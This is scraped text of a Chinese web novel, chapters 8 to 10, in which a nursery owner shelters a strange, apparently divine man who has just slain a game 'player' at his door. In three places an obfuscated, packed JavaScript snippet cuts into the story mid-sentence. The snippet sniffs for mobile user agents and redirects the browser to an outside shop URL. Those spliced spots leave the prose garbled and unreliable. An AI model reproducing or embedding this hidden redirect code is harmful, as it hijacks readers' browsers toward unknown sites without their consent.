乔之安接通电话,抽了抽嘴角:“亲爹,不管您信不信,我为了和您吃饭我得现坐趟飞机回家。您说我多孝顺啊,为了给我这个大孝子积德您以后可少做点缺德事儿吧!” …… “惩罚”了乔之安,男人心情好多了。 他甚至闲庭信步般出了那扇门,来到了青年熟睡的房间。 青年依旧抱着那张毯子,脑袋整个陷阱柔软的枕头里,脸颊睡得红扑扑的,眼睫纤长可爱。 轻薄的睡衣下,是青年温暖白皙的身体。 男人似乎看得入了迷,他在床前俯身,微笑着伸出冰冷苍白的大手,用手指抬起对方的下颌:“你很快就会献上供奉向我道歉,对吗?我会原谅你。” 熟睡中的陶岫皱了下眉,“啪”地一声用力拍开对方的手,孩子气地嘟囔着:“啥玩意儿……” 接着转了个身继续睡。 男人:“……” 他正要再做什么,突然动作一顿,猛地向门外看去。 一抹奇异的微笑缓缓爬上他俊美的脸,他收回视线,几近痴迷地看着床上的青年:“原来,你已经为我准备好玩具向我道歉了吗?” …… 大门外,2号玩家陈季正在面目狰狞地撬门。 他今天必须杀死这个核心! 8. 第8章(小修) 2号玩家额角满是冷汗,凶戾的眼里满是血丝,他正用钳子用力夹着门锁,试图将门锁结构彻底破坏掉。 周日是最后一天了,如果他在今天内还杀不了副本核心,系统就会杀死他! 核心在前两天根本没有外出,他的计划无法实行,只能找上门来。 他真的非常讨厌现实世界,只是杀个人而已都如此束手束脚。 这里真的让他吃了许多苦头。 他从前只是在这里留下个烂尾楼小区而已,又没要他们的命,那群穷鬼业主竟然就要死要活的,还跳楼好几个,搞得事情闹大,他再也待不下去。 那时他公司的现金流断了他有什么办法,他只能尽量转移财产再申请破产来保护自己啊,谁让那群穷鬼不奋斗、买不起更贵更有保障的房子,承担不了风险要怪自己不强,来怨他干嘛! 只是这次回来他才发现,以前烂尾的小区竟然正常运转了,核心还住在这里! 不管付出什么代价,他都必须杀了他! 他的【固体压缩】能力一天只能用一次,所以必须用到核心身上,他只能用最原始的方式撬锁。 该死的这锁怎么这么难开! 突然,他动作一顿,猛地睁大了眼睛。 “噗呲”一声响,2号玩家的身体和手环没有任何征兆地化作了一滩碎肉。 比从30楼落下的人类尸体还要不堪。 只是下一秒,那滩碎肉就仿佛被什么控制一般,重新回复成一个人形。 “啪嗒”一声,门在这时打开。 一个高大俊美的男人出现在2号玩家面前,他漫不经心地俯视着他腕上的手环,面带奇异傲慢的微笑。 2号玩家脑海里一片空白,参加过10次副本积累的本能促使他头皮麻烦、比经历了刚刚身体分解还要可怕的恐惧瞬间淹没了全身。 他下意识想要尖叫,还未来得及张开口,便眼睁睁看着自己的身体重新开始分解破碎、那只手环也发出尖锐的哀鸣。 …… 男人不满地挑了下眉:“他送我的玩具怎么可以这么容易就坏掉?” 话音刚落,那滩被神经勉强维持着人形的碎肉便定住不动了。 而2号玩家还清醒地留有意识,他觉得自己快要疯了……他现在更想去死! 对面那个魔鬼一样的男人却还是不肯放过他,只见对方摸摸下巴有点苦恼地道:“这么低劣的玩具也开发不出什么玩法啊——” 突然,房间里传来一道沙哑又好听的声音:“到底谁啊一大早在吵什么,别人还要睡觉的……” 男人:“!”可不能让小家伙儿发现自己把他送的玩具弄坏了! 他轻轻一抬指刻意收拢了自己的力量,碎肉玩家2号立刻重新变成一个活生生的玩家2号并且不再分解。 只是,他立刻发出一声刺耳的尖叫拼命跑向安全通道发疯一般向上爬,爬到顶层后“砰”地一声一跃而下,楼下很快传来小区住户的尖叫声和报警声。 男人不满地蹙了眉:啧,那玩具真是低劣又没礼貌,已经没耐心再修了。 反正小家伙儿的心意已经收到了,他已经彻底原谅了他。 于是他优雅地合上门,重新回到客厅。 …… 那声尖叫声彻底把陶岫吵醒了。 再加上窗外现在好像闹哄哄的,似乎还有警车的声音。 还想继续睡会儿的青年终于睁开了眼睛,认命地下了床向外头走去。 一进客厅,陶岫便彻底僵住了。 一个西装革履高大俊美的陌生男人站在沙发后,一只手中优雅地握着一支手杖,正面带微笑地看向他,像个真正的绅士。 男人的声音充满磁性,带着某种诡异的恐怖谷感,他道:“看到我一定很开心吧。” 一直崇拜信仰的对象终于出现了,真希望小家伙儿不要激动得晕过去。 陶岫看着男人的脸,脑海中却只是空白了一瞬。 客厅里满是冰冷馥郁的奇异香气,窗外的喧嚣仿佛霎那间消失不见,就连刺目的晨光都变得模糊不清。 仿佛只有对面的男人是清晰而真实的。 他像是下意识一般,很想问一句:‘请问我是不是在哪里见过你?’ 男人这时只是微笑着看向他,不说话。 青年在恍惚模糊的思绪中不知不觉地覆上了自己柔软平坦的腹部,他总觉得,此时那冰冷而饶有兴味的猩红瞳仁似乎应该更温柔一些才对。 那个问句几乎要脱口而出前,陶岫回过神来,大脑立刻清明起来。 他甩掉刚刚乱七八糟的想法,思索一瞬后,苍绿的眼睛蓦然亮起来,他指了指门:“那里?” 难道那扇坏掉的门又行了?门里的人终于鼓起勇气来见他了吗? 男人优雅又高傲地点了下头。 陶岫连忙上前,朝对方伸出手:“确实很开心见到你。” “你好,我叫陶岫,在A市经营一家植物园。不好意思我的门打扰到你了,还没经过你同意喂了你的狗。” 男人好奇又讶异地看着那只伸到自己眼下的手:从前,还没有谁敢对他做这个动作。 没有任何存在敢触碰他,也没有任何存在有资格触碰他。 但他可以给这个刚刚为他献上玩具的小家伙儿一些奖励。 于是他心情愉悦地握住了那只修长柔软的手。 温暖、柔软,手感很不错。男人更加满意地勾起唇角。 接着就是尴尬的沉默。 陶岫没忍住眉角抽动一下,试探着问道:“所以你的名字是?” 他们现在应该是在互相自我介绍的环节吧!他说完不是该对面了吗? 男人难得心情如此愉悦,于是他决定再给对方一些奖励。 于是他道:“霍斯。” 陶岫:“.……哦。” 自我介绍环节算是结束了,陶岫再自然不过地把手抽回来,却发现,抽不动。 那位霍斯先生依旧握着他的手,面带诡异微笑注视着他。 陶岫:“。”他一个社会人真的好久没遇到过这么尴尬的情境了! 他的这位同类,好像有点……奇怪。 他勉强维持着客气的笑容,试着努力化解眼下的尴尬:“我要去洗漱做早餐。这么早你也还没吃吧?如果不介意,也可以留下来一起吃。” 霍斯这才松开手,却用一种带着怜爱的奇异神情看着青年。 陶岫:“.…..?” 他总觉得对方看自己的眼神怪怪的,以至于更尴尬了。 于是他干脆客套地朝对方一笑:“请随便坐,霍斯先生。我马上就好。” 接着头也不回地飞速逃进浴室洗漱。 洗手台前,陶岫看着镜子里的自己,如释重负地呼出一口气——和这个同类做朋友也太有挑战性了吧! 真不知道对方这么奇怪的性格是怎么在这个社会上生存的! 洗漱完后整整十五分钟,陶岫才调整好心情,他重新挂上热情的微笑,走出浴室,就看到男人已经背对着他在餐桌前坐了下来。 陶岫边往那边走边道:“稍等一下早餐很快——” 走到餐桌前,他的话戛然而止。 陶岫止住步子瞪大了眼睛,嘴巴也张成了“0”型:只见在餐桌前优雅落座的男人面前已经摆好了餐具,那盘子里,是一堆整齐码成一座小山的、狗粮…… 男人对面的座位前也摆好了盘子和餐具,里面同样摆满了狗粮。 陶岫脑海里一片空白:“......?” 这是他新买回的那袋狗粮……吧? 这是可以摆在餐桌上的吗? 霍斯这时优雅地托腮看向青年,面上是迷人的微笑。 虽然很难吃,但这一定是小家伙儿辛辛苦苦收集来的,他留他吃早餐,自己一定舍不得吃会全都供奉给他。 这么虔诚的小家伙儿,他怎么会让他饿肚子。 于是他道:“坐吧,我允许你和我一起享用这些供奉。” 陶岫组织了半天语言也说不出一句话:难道这是对方的饮食癖好? 原谅他实在没法儿用“习惯”这个词! 但也不好对刚认识的人的饮食发表什么意见。 陶岫面露同情地看了对方一眼,接着将自己手边那盘狗粮推到对方面前,勉强礼貌地微笑着:“如果真的很喜欢的话,这些你也可以吃掉。我吃别的就可以!” 说着他俯身拍了下对方的肩:“额我也理解的,大家口味不一样嘛多正常,你尽管吃千万别有啥压力!” 我绝对不会歧视你的! 说罢便大步走进厨房,开始做自己的牛奶+手指三明治早餐套。 厨房外的霍斯依旧单手托腮,痴迷地看向玻璃门后忙碌的青年,一边用另一只手拿起汤匙,优雅地将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022786|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一勺狗粮塞进口中:多好的小家伙儿,宁愿自己劳作获取食物,也要把最好的全部献给他。 多么虔诚,怪不得他要如此执着地唤醒自己。 做到这种程度,他不介意在这里多陪伴他段时间,以满足他虔诚的夙愿。 …… 尽管看着对面的人吃狗粮自己实在有点食不下咽,陶岫还是认真吃完了自己的早餐。 可能因为今天是周末,吃完整整两盘狗粮后,对方看起来依旧没有离开的打算。 于是陶岫只能尴尬地拉着对方看电视、打游戏,以及有一搭没一搭地尬聊。 他从来没有觉得时间如此漫长过! 时间终于来到23点左右,陶岫坐在沙发上,侧身看向那个奇怪的男人。 男人此时正漫不经心地站在洗衣机前,似乎在好奇地按着各种按钮,在研究着什么。 那张侧脸棱角分明,俊美非常,眼珠像某种深红的宝石。 其实是非常蛊人的一张脸。 只是配合对方此时的行为,便显得违和而滑稽。 陶岫抽了抽嘴角:“霍斯?已经十一点了,你该回家了。” 大家明天都要上班的! 说着他拎着剩下的狗粮来到杂物间门前,道:“这些也都送给你。” 霍斯可以自己吃,还可以喂给他的狗狗吃,比在自己手里有用多啦。 一条深蓝的触手以迅雷不及掩耳之势自洗衣机内部没入男人的衣袖间,将这个机器内部研究透彻的霍斯侧过身,无比怜爱地看向陶岫:“你不必如此乖巧懂事地迁就我。” 陶岫:虽然用词诡异但难道是在说他招待他的事? 于是陶岫眉角一跳,笑了笑:“那是我该做的。” 招待客人确实是他该做的,而且本来就是他的门给对方添了麻烦! 霍斯看着青年的眼神愈发痴迷: 明明这么想和他在一起,却因为担心他随时都会沉睡的身体要将他送回家。 这个小家伙儿唤醒了他、供奉了他,见到他时却没有提出任何愿望。 只是这么短暂地相处,就满足了吗? 多么虔诚可爱啊。 他当然要许予他更多。 霍斯面上浮起奇异兴奋的微笑,他歪了下头开始撒谎,声音华美而失真:“我来到这里后那扇门就坏了,我现在的力量暂时无法回去。” 陶岫:“???”好了又坏了? 他推开门,接着睁大了眼睛: “嗷呜” 野狼在嚎叫。 门外是荒野! 陶岫“啪”地一声关上门,又打开,这次是海岸。 他百思不得其解:这破门怎么又换了一种坏的形式啊! 他第三次不信邪地打开,接着整个人都僵住了: 诡异的喧嚣人声扑面而来。 门里是亮得刺眼的雪白大厅,简直看不到边际,不断有缺胳膊少腿的人聚集到大厅的巨大电子屏幕前,一边交谈一边看向屏幕。 听到陶岫开门的动静,无数人被吓了一跳,许多张神情紧绷满含恐惧和恶意的脸同时朝他看了过来…… 陶岫:“额……打扰了!”难道他误入了什么万圣节集会? 正要关上门,对面却已经有个凶神恶煞的男人朝他大步走来。 “啪”地一声,霍斯不知什么时候站在了陶岫身后,覆着青年的手背利落地关上了门。 陶岫一怔,侧身向后看去,却恰巧错过男人刚刚危险至极的神情。 此时他只是微笑着看向青年:“我说过,门坏了。” 陶岫:“.…..哦。”他叹了口气,道:“那你今晚可以暂时睡我家的沙发。” 门坏了就只能通过交通方式回去了,总不能大半夜赶人家走吧! 他拍了拍霍斯的肩错身向浴室走去:“我先去洗澡,洗完你可以用浴室。” 男人猩红的眼眸蓦然一深。 …… 玩家大厅。 血红的灯光闪烁在惨白的空间,大厅里乱作一团,到处都是恐惧的尖叫,每个人脸上满是疯狂与绝望。 AI空灵的声音响彻在每一个玩家的脑海中: 100000000000….%滋滋….危险…滋…检测中。 系统故故故障中…… “砰”地一声,巨大的屏幕和刚刚走向陶岫的玩家一起爆成一片血雾。 9. 第 9 章(小修) 陶岫很快洗漱完,轮到霍斯使用浴室。 只是这时他才发现一个令人难以置信的事实:霍斯的自理能力简直低级到令人发指。 比如,他不会使用淋浴头和各种洗漱用品,甚至不会用吹风机。 难道他猜错了?对方不是个社畜,而是个被收养家庭极度溺爱的富二代? “我没有不会和不认识。”在陶岫的帮助下洗完澡后,霍斯穿着青年为他翻出的衬衫长裤坐在沙发上,头发却湿淋淋的,他优雅地纠正对方:“只要我想,我可以全知全能。” 就比如,即使他们见面时小家伙儿在说一种陌生的语言,他天然就能理解并使用这种语言和他交流。 他现在“不了解”那间浴室里的东西、以及青年口中那个可以吹干头发的玩意儿,只是他不感兴趣和没必要—— “因为,”男人微笑着看向陶岫,把吹风机递过去,一副理所当然的口气:“允许你为我做这些,不是会让你开心吗?” 不然他现在只用一个念头就能把头发烘干。 陶岫:“.…..” 他刚刚被叫进浴室至少五次,不是被要求开关淋浴头就是帮忙调水温,对方甚至连沐浴乳洗发水都要求他帮忙使用。 他的做法是介绍完用法后毫不犹豫地摔门离去。 要不是对方那时候实在太过理直气壮,他都会判定他在性骚扰。 现在,这个男人又要求他帮忙吹头发,是不是有点太过分了。 陶岫脸上面对客人时礼貌得体的微笑几乎快要维持不住。 但一想到客人似乎真的缺少很多生活常识,又是自己的门造成了现在的麻烦,并且对方明天应该会离开,他还是选择了忍。 他无奈地轻叹了口气,起身站在对方面前,打开了吹风机。 霍斯面上浮起舒服而满意的微笑,他透过半湿黑发的缝隙,静静注视着陶岫手腕那片白皙的皮肤。 眼珠里的猩红因着舒服和兴奋渐渐蔓延,很快占满了整个眼眶。 热风呼呼响着,霍斯的黑发很快变得半干。 陶岫做了就做得很认真,他温柔地将手指插进男人的发间,轻轻拨弄着那些冰凉的黑发,以便让头发干得更快些。 他能清晰地听到男人的呼吸声。 不知怎地,那呼吸让他莫名安心。 那种白天第一眼看到男人时自心头升起压抑不住的奇异心情再次占据了他的内心,而他莫名无法识别,也无法驱逐。 陶岫低垂了眸,纤长的眼睫微微颤动,他手上的动作更加轻柔,视线偶尔瞥过男人滚落着水滴的完美胸肌时他想,自己的衣服穿在对方身上果然有些小。 连扣子都崩掉一颗。 还好霍斯自己的衣服已经在洗,现在的天气晾一晚就干了。 时间缓缓流淌,头发总算吹好,关掉吹风机的一瞬,陶岫心中那种莫名奇妙的心情消失不见。 他松了口气,随手放好吹风机,他看向霍斯,面上浮出个温柔又无奈的笑:“我明天要工作,你自便就好。晚安啦。” 明天用手机订张票回家总不用他教吧! 似乎是看出青年真的困了,霍斯并未再提出别的要求,他优雅地道了声:“晚安。” 他一直注视着青年回到房间,直到听到门响,他称得上可怖的视线依旧钉在那扇紧闭的门上:真想把他带回他的城堡。 不知看了多久,霍斯移开了视线,开始高傲地视察他今晚要睡的地方,将上面除了青年之外的所有气味都驱逐掉后,他才如国王一般躺在上面。 黑暗中,他面上再次浮起奇异的微笑:他那样赤诚地崇敬自己,他怎么可能不愿意被他带回城堡。 他终于满意地闭上了眼睛。 …… 第二天陶岫按时上班,霍斯还未醒。 他板板正正地躺在沙发上,睡相出乎意料地优雅。 陶岫放轻动作出了门,开启了自己久违的打工人生活。 只是刚出小区就碰到了发传单的。 那人看到陶岫两眼简直要放光,他连忙上前,压低声音道:“帅哥请问你想赚大钱吗——” 陶岫急着赶早高峰,话都没听清就匆匆接过传单,像往常碰到发传单的那样微笑道了谢,就匆匆离去。 到了植物园后,他才发现这传单招的是在酒吧工作的男公关——这种传单发到小区附近也太过分了吧! 陶岫抽抽嘴角,把它随手丢进垃圾桶,开始今天的工作。 打开几台机器后,提前预约好的那批客人们开始有序入场,陶岫照常换好工装去植物区打开浇水和施肥的机器,再提取土壤标本检测。 陶岫在中心玫瑰区蹲下来,拨开花丛去检查介绍玫瑰花的铭牌,动作却突然顿住了: 铭牌上的字已经不知什么时候已经变得模糊不清。得尽快定做一个新的。 玫瑰依旧妖娆地盛放,呈现一种纯洁的雪色。 陶岫却微微皱了眉:他应该记得这座植物园每一株植物的名字,但这种玫瑰叫什么来着? 正在这时,一个人悄然出现在他身后,伸手拍上了他的肩。 陶岫一怔,回过神来,起身向后看去,三天前说自己要回老家的林枚出现在他面前。 …… 与此同时。 霍斯醒来后决定视察一番他的小家伙儿到底生活在怎样的世界。 他并未使用自己的能力,甚至收拢了自己所有的能力,学着陶岫从门出入。 出了单元楼后,他好奇地看着小区的一切,想看看这些建筑到底有什么特别之处,才让陶岫几乎掏空自己所有的能力全用在这上头。 看了半天也看不出来,再怎么看,这些也不过是再普通不过的丑房子。 一间间屋子这么密集地挨在一起叠在一起,真像他很久之前为了驱使魔鸽命令管家做的鸽子笼。 这个世界的生物竟然住在这么可悲的地方吗? 他很快对这些建筑失去了兴趣,来到了小区外,一个人迅速迎了上来,把传单塞到他手里,压低声音神神秘秘道:“帅哥,请问你想找一份赚大钱的工作吗!” 早上不小心放走了一个大帅哥,这个绝对不能放! 虽然这个帅哥好像有点可怕,但这么帅真的招到了他提成会很高的! 霍斯停下步子,饶有兴趣地看向手里的单子:工作。 陶岫昨晚也说了工作。就是做这个么? 或许他该视察下陶岫在这个世界生活的方式。 看对方似乎在思考什么,传单小哥忙道:“你放心帅哥!这份工作待遇很好的!” “你长这么帅肯定能签特殊合同,包吃包住包高工资包法定节假日咱们还包五险一金!” 虽然听不懂很多词汇,霍斯面上还是露出一个奇异又冰冷的微笑,他看向传单小哥,命令道:“带我去。” 传单小哥一瞬间觉得冷意从脊椎骨蹿到头顶,但又觉得是错觉,他几乎本能地就要后退几步,却硬生生止住步子,他勉强笑道:“您跟我来,我带您去面试!” …… 此时在植物园的陶岫莫名其妙狠狠打了个喷嚏。 林枚原本清澈的嗓音不知怎地有些嘶哑:“还好吗?” 陶岫面上露出个客气的微笑:“没事没事。” 他正要继续说什么,却一怔:林枚仿佛变了一个人。 他依旧穿着那身廉价西装,手提公文袋,手上依旧是那枚手环。 只是,他的身姿变得挺拔起来,面上再也不复三天前的懦弱神经质,他的眼窝不再深陷,眼神坚毅,下巴上多了一片胡茬。 他整个人变得很沧桑,就好像在短短三天里从20岁变成了30岁。 陶岫眨了下眼,不知道该怎么形容:“你……” 林枚却只是从公文包中掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022787|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出三张百元大钞,笑了下,道:“真没想到是在这里还给你。” 陶岫:“?” 林枚却摇了摇头:“没什么。” 陶岫便也没问,接过钱后,笑道:“你还想在这里工作吗?” 林枚深深看着他,道:“我真的真的很想。但是不能。还有,再次谢谢你。” 陶岫:“?” 林枚无奈地笑了下:“三天前的我不是说过,还有三天就彻底结束了吗?但幸运的是,我的人生没有结束。” 系统主脑出现了巨大故障,在那晚12点前强制回收了所有玩家,所以他没有死掉。 这件事似乎和陶岫有关,他救赎了自己第二次。 陶岫弯了眼眸:“那很好。” 林枚看着漂亮的青年快乐又无忧无虑的模样有些犹豫,正要下定决心说什么,却突然看着手环上的时间叹了口气:“我该走了,还会再来的。” 说罢便转身离去,身影很快消失在门口。 陶岫一脸莫名其妙,但看对方似乎已经开启了新的人生,便也放下心来。 他再次投入到自己的工作中去,间或想想霍斯是不是已经坐上了回家的车。 工作时间就这样悄无声息地流淌。 很快到了下班时间,他像往常那般去了那家汉堡肉便当店买饭,接着去赶回家的地铁。 霓虹灯一盏盏亮起来,人流里,他看着被夕阳染成淡紫色的天空舒展了下身体:啊,他美好又普通的一天又要结束了! 意外认识的同类应该已经回家了,门他也不打算再打开了,他的生活将再次回到正轨上。 “叮铃铃~” 手机突然响起来,陶岫连忙接了电话,警察的声音很快传了过来:“陶先生,你有位叫霍斯的朋友吗?” 陶岫一怔:“额,算是有?” 那边的声音无奈至极:“你的朋友霍斯先生提供了一张纸条,上头有你的联系方式,他现在在XXX路派出所,麻烦你尽快过来一趟。” 陶岫止住步子,举着手机瞪大了眼睛:“???” 什么鬼?他不是已经回家了吗?!怎么会到派出所啊! …… 震惊过后,陶岫抽抽嘴角,还是打车去了派出所。 刚要进接待室的门,就听到一个男人痛哭流涕的声音:“警察同志请您救救我们!让那位霍斯先生放过我吧!!” 警察又无奈又憋笑:“你总要把事情说清楚啊,说实话我们刚刚真的没听明白——” 那人:“警察同志我是那家会所的店长,他他他就是个魔鬼!他说他不会为我提供任何工资年假五险一金但我必须要为他打工——” 警察:“停,你这说的什么乱七八糟啊,这不是你的店然后你看他什么都不懂所以骗他签既不正当又不平等的合同去做男公关吗,怎么又是他逼你去工作?” 说着她脸上蓦然严肃起来:“话说除了这件事你做得不地道,你们偷偷招未成年小姑娘到你们那里工作是违法的,你知道吧?” 那人快疯了:“是我的店!但他命令我去工作嘛——”诡异的是他根本没办法违抗那个男人的命令啊啊啊。 他一个幕后老板莫名其妙就去当男公关陪酒了还吓得客人报了警! 而且他现在每走一步就眼前一黑,刚刚去了趟厕所都在那里睡着了做噩梦! 真的太可怕了! “求求您了警察同志,我知道我违法了您现在把我们店封了把我们抓了吧!!只要能让我摆脱他!!” …… 陶岫:“.…..”他口中那个魔鬼一样的男人,该不会是霍斯吧…… 另一个房间里,一个高大俊美的男人优雅地坐在桌边,他新奇地打量着周围的一切,像个第一次去游乐园的孩子。 突然,他面上浮出个奇异兴奋的微笑。 他蓦然侧身、痴迷地向门外看去。 10. 第 10 章 在派出所表明身份后,他便被允许带走霍斯。 临走前,警察把一张身份证递过来,道:“这是你朋友的,你收好。” 陶岫随手接过,道了谢后,他来到霍斯面前,抱臂看向男人。 霍斯坐在那里,姿态傲慢优雅,他微微仰起俊美非常的脸看向他,红眼珠在灯光的映照下明晰璀璨。 陶岫看着看着,便没忍住笑了下:这情境真像他去派出所领回自己走丢的狗狗。 内心稍稍为这个比喻抱歉了下,他挑了眉看向男人:“没事了。走吧,我们回家。”说罢便往外走去。 霍斯听到“家”这个字时歪了歪头,面上浮起某种愉悦又疑惑的奇异神情。 随即他再自然不过地站了起来、跟了过去。 …… 离开派出所后,陶岫先领着人去了趟商场买睡衣——这人今晚还是得住他家,总不能让人再穿着那么难受的睡衣睡觉。 只是回到家后,他才一边挂好外套一边忍不住吐槽道:“不是我说,你的生活常识也匮乏得太夸张了吧。” 他现在完全无法想象这个家伙是如何在人类社会生存的。 霍斯微笑着反驳:“你应该知晓我全知全能。” 陶岫“噗嗤”笑出了声,转身抱臂看向对方,挑了眉戏谑道:“你是指差点被别人骗去当牛郎的全知全能呢,还是指在商场超市你命令一辆购物车去杀死一只帝王蟹的全知全能呢?” 刚刚连小孩子都在围观他们! 当然他觉得实在太丢脸了于是趁着霍斯不注意偷偷混出了人群假装在挑水果罐头。 说起那只叫螃蟹的生物霍斯脸就有点黑:“那只丑陋的家伙在说我的坏话。”如果不是他必须收敛他所有的能力,那只连恐惧这种情感都不具备的八爪生物早就化作齑粉了。 它竟然敢说他丑。 陶岫眉角一抽,一时之间无言以对,只好憋出一句:“总之我们还是先吃晚饭。” 霍斯冷哼了一声,洗净手后拿起餐盘走向置物柜里那袋狗粮。 陶岫已经热好了自己香气四溢的汉堡肉便当,他把一块汉堡肉夹进口中,看着对方拿着一盘子狗粮朝自己走来,就忍不住想——怎么也说是从警察局领回对方的交情,他现在如果劝对方改改饮食习惯也不算太失礼……吧? 饭后,陶岫把浴室先让给了霍斯。 他坐在沙发上看电视剧,随手掏出霍斯的身份证放到桌上,准备等下还给对方。 电视里播到广告,他无意扫了眼桌面的身份证,随即睁大了眼睛。 他连忙拿起它再次确认:身份证上确实是霍斯的大头照,其他信息看起来也没什么不对。 但是,户籍地址那栏写的是金色传说小区6号楼2101室! 这不就是他家吗…… 这时,霍斯刚好洗完澡出来,他已经穿了陶岫为他新买的睡衣,只是黑发依旧是全湿的。 他走到陶岫身边坐下来,非常自然地把手中的吹风机递了过去,一副要人伺候的样子。 陶岫鼻尖满是馥郁奇异的冷香,他微微有些晕眩,没理那吹风机,只是指着身份证上的字、瞪大眼睛问对方:“这是怎么回事?!” 霍斯眨了下眼收起吹风机,微微一笑:“你要夸奖我吗?他问我要身份证,我遵循了这里的规则,造了一张给他。”而且他造出的东西都自带因果,绝对没有任何漏洞。 陶岫深吸一口气,这应该就是对方的能力。 他接着问道:“也就是说,你自己是没有身份证的,对吗?” 霍斯优雅地歪了下头:“我当然没有这种东西。”如果不是小家伙儿生活在这里,他连踏入这里的兴趣都没有。 陶岫:“那你之前——”是怎么生活的? 霍斯一脸好笑地看着他:“你不是知道么?我之前当然是在沉睡。” 不是你把我唤醒的吗? 陶岫瞳孔一缩。 那么,他的同类沉睡了多久才会醒来后几乎没有任何人类社会的生活常识。 但他还是想不通:“那只狗狗——” 那只狗是他沉睡前就在还是在他沉睡的过程开始陪伴他? 霍斯挑了眉:“那只是我沉睡前随手制造出的东西。它并不是你口中的‘狗’。” 陶岫一怔,看向杂物间的门,轻轻道:“不管是制造出它,还是领养它,既然养了,就应该负责到底,不是吗?” 它看起来是只很通人性的生物,也不知发现主人一直不回家会不会担心。 霍斯自黑发滴落的那些水珠中静静看着青年漂亮安静的侧脸,一缕无法辨认的心情自心脏处涌起。 他垂眸将青年的侧影敛入自己猩红的瞳仁中,声音轻而低沉:“闭眼。” 陶岫:“什么?” 霍斯耐心地重复着:“阿岫,闭上眼。” 像是真的被这样的声音蛊惑,陶岫缓缓闭上了眼睛。 霍斯面上浮起愉悦的笑意,他伸手轻轻碰了下青年轻颤的眼睫,随即他的眼眶渐渐被猩红彻底填满。 下一瞬。 “嗷呜”一声。 一只“萨摩耶”凭空出现在这里,亲热地将青年扑倒在沙发上——“嗷呜~”它真的好久没见这个人了! 陶岫睁大了眼睛,愣愣看着在自己颈侧喷着热气拱来拱去的狗狗,一瞬后,他突然反应过来什么,绕过大狗瞪向那个看着这一幕已经面露不满的男人:所以这个男人根本不需要那扇门也能回自己家吧! 造物、随时把那间房间的狗狗弄到这里,这家伙的能力绝对比他强上很多! 他怎么可能回不去! 霍斯这时轻轻松松把那只狗从陶岫身上拎了下来,道:“你喜欢的话,我允许它同我一起留在这里。” 陶岫闻言瞠目结舌,刚要质问一句‘所以你根本就是赖在这里不想走?’,话到嘴边却止住了。 这是个孤独地沉睡了很久的同类。 很久之前,他也如他一样孤独。 半晌,陶岫起身轻叹了口气,无奈地道:“你们都留下也可以。但是——”他向霍斯强调道:“你必须学会生活自理。” “就比如,”陶岫把男人手里的吹风机一把夺下,打开后塞回去:“你现在必须学会自己吹头发!” 霍斯讶然地眨了眨眼:从来没有任何存在敢这样对他说话。 这感觉很新奇,但却并不坏。 于是他好奇地把玩了下手里的吹风机,低低笑了声,道了声:“好。” 那低沉好听的嗓音让陶岫一怔神。 下一瞬,他回过神来把莫名的思绪甩出脑海,起身去洗澡。 很快洗完回来,他来到客厅时,步子蓦然一轻: 男人已经吹干了头发,正闭着眼睛躺在沙发上。 他似乎已经睡着了,宽阔的胸腔缓缓起伏着,睡脸在灯光映照下更加俊美优雅。霍斯说他沉睡了很久,直到现在,他似乎依旧很爱睡觉。 那只狗也已经蜷缩在沙发前的地毯上,也学着主人的样子,安安静静睡着。 倒是一派静好的情境。 陶岫不由得弯了眼眸,无奈地笑了下。 他轻轻关掉客厅的灯,在心中道了声晚安,回到了卧室。 抱着那张毯子睡着前,他想,明天得列出一份购物清单,为霍斯和那只狗添置一些东西。 月光中,青年蜷缩着身体,将怀中那张毯子抱得更紧:不知怎地,他总有一种对方会在这里住很久的错觉。 即使是同类,他们也才相识不到两天,他却莫名其妙为这种错觉感到安心。 …… 第二天陶岫照常上班。 走到门口,不知怎地,他蓦然感到一种莫名的慌乱,他止住步子,转身看向霍斯和那只狗。 男人依旧在沙发上睡觉,那只狗已经醒了,却不敢发出声音,只是趴在地上朝他欢快地摇着尾巴。 陶岫莫名其妙地生出一种想要抱抱那一人一狗的冲动。 真的很奇怪,即使是同类,他们也根本没有亲近到可以拥抱。 他深吸一口气,将那种莫名奇妙的想法甩出脑海,离开了家。 …… 陶岫今天依旧工作得很认真。 有一波预约好的A大学生要来参观,顺便想看下他的土壤数据和植物生长数据。他认真接待了他们。 午休时间,他吃过午饭,开始上网选购那一人一狗要用到的东西。 “咚咚”一声,林枚这时敲响了他办公室的窗。 陶岫一怔,便见窗外那个沧桑的年轻人朝他笑了下:“方便聊一下吗?” 陶岫也温和地笑了:“当然。” 午间没太多客人,只有二楼传来小朋友们采摘草莓的嬉笑声。 他们很快走到中央区,那里依旧种着一丛妖娆的白玫瑰。 林枚若有所思地看了眼那丛玫瑰,道:“老板,你知道吗?你刚刚看起来很开心。一副马上就要迎接新生活的表情。” 陶岫眨了下眼:他很开心吗?算是新生活吗? 随即弯了眼眸:“啊,算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 